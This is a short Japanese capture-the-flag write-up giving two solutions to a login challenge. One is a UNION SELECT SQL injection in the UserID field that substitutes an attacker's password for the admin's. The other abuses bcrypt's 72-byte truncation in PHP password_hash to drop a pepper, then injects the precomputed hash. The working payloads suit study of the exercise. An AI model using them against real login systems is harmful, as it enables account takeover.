問題
解答
問題文にある通り、2種類の解答を記述します。
なお、前問の解答と被る部分は省略しています。
解答1
- 適当な攻撃用ユーザーを登録する
- UserIDに以下を入力し、Passwordには先ほど作成したユーザーのパスワードを入力する
' UNION SELECT 1, "admin", password, 4 FROM (SELECT * from users where userid = "arucarap") --
- Welcome to Underground
解答2
- password_hashのマニュアルを眺める
- 学びを得る
- 今回の問題のアルゴリズムでは
password
の末尾にpepperを付与していることから、password_hash
のアルゴリズムをPASSWORD_BCRYPT
に設定した上で72バイト以上の長さのpassword
を与えてやれば、pepperの値を切り捨てさせることができると考えられる。 -
password_hash
関数に72バイト以上の長さのパスワードを与えてハッシュを取得する$ php -r "echo password_hash('yuuteimiyaoukimukouhoriiyuujitoriyamaakirapepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepe', PASSWORD_BCRYPT), PHP_EOL;" $2y$10$HNrjhgPwb0IhNB0M1hU/Wucfq8Ik0c5Gsl/fGw8gB0WOQEX1WXuzS
- 得られたハッシュを利用してUserIDに注入し、Passwordには上記で利用した長いパスワードを入力する
' UNION SELECT 1, "admin", "$2y$10$HNrjhgPwb0IhNB0M1hU/Wucfq8Ik0c5Gsl/fGw8gB0WOQEX1WXuzS", 4 --
- Welcome to Underground